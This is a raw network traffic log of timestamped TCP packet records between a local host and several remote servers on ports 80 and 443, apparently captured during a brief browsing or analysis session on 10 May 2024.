May 10, 2024 09:20:57.437274933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.437287092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.437299967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.437356949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.437797070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.437809944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.437868118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.437966108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.437978983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.437990904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.438003063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.438018084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.438030958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.438039064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.438066006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.439163923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.439177990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.439189911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.439202070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.439227104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.439259052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.440473080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.440485954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.440498114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.440512896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.440532923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.440550089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.443984985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.443996906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.444015980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.444030046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.444058895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.444114923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.446471930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.446485043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.446496010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.446546078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.446636915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.446705103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.448120117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.448132992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.448143959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.448156118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.448191881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.448204994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.477257013 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.477267027 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:57.560992002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561012030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561026096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561038971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561109066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561125040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.561171055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561184883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561197996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561214924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.561243057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.561387062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561399937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561412096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561424971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.561429024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.561454058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.562477112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562490940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562504053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562516928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562547922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.562568903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.562598944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562612057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562623978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562635899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.562653065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.562674999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.563616991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563631058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563653946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563666105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563669920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.563705921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.563781023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563793898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563817978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563827038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.563831091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.563865900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.564239025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564253092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564273119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564285994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564300060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.564323902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.564726114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564738035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564749002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564762115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.564774036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.564796925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.566083908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566098928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566111088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566123009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566173077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.566271067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566283941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566297054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566308975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.566323042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.566420078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.566972017 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.567028999 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.567079067 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.567677021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.567691088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.567703009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.567717075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.567747116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.567775965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.567924976 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.567939043 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.568253994 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.568285942 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.568336964 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.568753958 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.568818092 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.568851948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.568870068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.568883896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.568897963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.568900108 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.568922043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.568938017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.568977118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.568993092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569003105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569016933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569024086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.569058895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.569125891 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.569169998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569195032 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.569200039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569211960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569231987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569241047 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.569257975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.569269896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.569330931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569349051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569361925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569374084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.569394112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.569417953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.569453001 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.569479942 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.569935083 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.569986105 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.570207119 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.570631027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.570643902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.570655107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.570667982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.570693970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.570722103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.571710110 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.571724892 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.571763039 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.571814060 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.571890116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.571907043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.571919918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.571932077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.571932077 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.571979046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.572092056 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.572130919 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.572218895 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.572360992 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.572398901 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.572408915 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.572423935 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.572474957 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.572638035 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.572657108 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.572807074 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.572823048 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.572869062 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.573101044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.573112965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.573124886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.573137999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.573149920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.573175907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.573539972 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.573573112 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.574003935 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.574013948 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.574189901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.574203014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.574214935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.574227095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.574239016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.574265957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.575947046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.575959921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.575972080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.575993061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576000929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.576029062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.576531887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576570034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576584101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576596022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576632023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.576718092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576730013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576745987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576767921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.576780081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.576802015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.578330040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.578342915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.578371048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.578382969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.578383923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.578428030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.579231977 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.579251051 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.579617023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.579629898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.579642057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.579660892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.579689026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.579705000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.579823017 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.579843998 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.581449032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.581461906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.581475019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.581486940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.581513882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.581541061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.582963943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.582976103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.582988024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.582999945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.583023071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.583050013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.584418058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.584455967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.584469080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.584480047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.584511995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.584537029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.586838007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.586850882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.586863041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.586875916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.586904049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.586929083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.589272976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.589286089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.589298964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.589310884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.589330912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.589358091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.591064930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.591077089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.591089010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.591101885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.591133118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.591260910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.592573881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.592586040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.592597961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.592609882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.592624903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.592650890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.593974113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.593986988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.593997955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.594010115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.594053030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.596280098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.596295118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.596307039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.596319914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.596343994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.596369028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.597397089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.597409964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.597421885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.597434044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.597450018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.597476959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.599065065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.599077940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.599093914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.599106073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.599144936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.601196051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.601238012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.601249933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.601263046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.601294994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.601325035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.602889061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.602902889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.602914095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.602926016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.602978945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.605289936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.605303049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.605314970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.605326891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.605357885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.605382919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.606959105 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.607074022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.607086897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.607098103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.607110023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.607136011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.607172012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.607954025 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.607971907 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.608323097 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.612293959 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.612365007 CEST	443	49766	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.612445116 CEST	49766	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.612823963 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.613162041 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.613168001 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.613936901 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.614269018 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.614376068 CEST	443	49767	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.614470005 CEST	49767	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.618997097 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.619420052 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.619431019 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.619731903 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.619997978 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.620043993 CEST	443	49768	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.620107889 CEST	49768	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.621361971 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:57.621422052 CEST	443	49748	18.229.86.183	192.168.2.4
